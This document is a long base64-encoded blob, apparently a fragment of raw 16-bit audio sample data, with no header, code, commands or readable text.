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AeADEAMQAPAPj/FABEAEgADADk//7/RQBVADIADAABACIAMwAuAAwABQALABIAEQAFABQAMwAsAP3/9f8gACwA+v/W//X/DwD5/+T//v8aAAsAvf+6//f/JQAEAN//6P/+/wMA+P/o/9T/1f/p////AgD+//X/9f8CAAAADgAOANT/of/B/wQADgD9//H/4v/k//r/BgDn/83/8f8PAP3/1//b////BgADAP//9//c/+H/EQAiAP7/0v/i/wIAEwAOAPv/4v/c//f/EgAkABAA5v/Q//b/JgAVAOX/zf/l/xMAJwAJAOv/+P8aACQADgALADoARwAEAN7/DAAxAA4AAgAXAC8ANQAVAPL/CwAzABYA9P8OADkAJQAHAAkAGgAzACoABwD8/xUAGwAQABkAHwAIAAEAFQAXAP//AAASABUADwAHABMAGwAVAOz/7f8WACwA+//c//H/BgAGAP//FwAqAA4A3f/k/yoAMADs/9P/BwAnACQAHAANAO3/7/8DAAsAAwAAAAAA//8MABkAGgAAAOb/5P8OACwAHwAPAAcA/v/1/wsAHQD1/83/4/8AAPL/7f8MABcA6P/I/+b/CgALAO3/3v/6/xQAAQDx/wUAEAD6//X/CwARAAEA+f/t/+z/GgAwAAAAzf/s/xsAFgAIAAsAFQAfABoAAgD8/w8AFQAUABIAAgD6/wkAGwAQAP//+v/8/xUAOAA8ABQA7f/j/+//FAApABAA7f/i//D/CQAeAP3/2P/s/wsAAgAAABIACgDt//j/JAAkAAAA5v/6/xIAAwDy/yIAWQAuAN3/3v8TABIA7//x/wMA+v/i//X/HAAlAPv/6v8SACgACQD//xEACQDu//L/8f/e/+D/+P8GAP7/4f/b//D/CgAPAAUACQADAOn/7f8WACAA+v/m//v/DAAMAAIA9v/q/9f/2//5/wwA9P/T/+T/BwASAP7/9f/9////+v/9/wQA+f/c/9X/+f8PAP7/6f/k/+n/6f/x/wAA/f///wsAHAAPAPD/4//w/wMABgD+//f/CQAsACgABADt/+3/7f/t//b/+P/4//D/9/8MABAA8f/U/+//DgAdABUABAD9/wIAIgAnAAUA7v/x//j/AAAZABUABwAOAAAADgApACMA/P/9/x4AFQAKAA4AEQAGAA4AEADw/wIAKwApAAUA9f///wAAFA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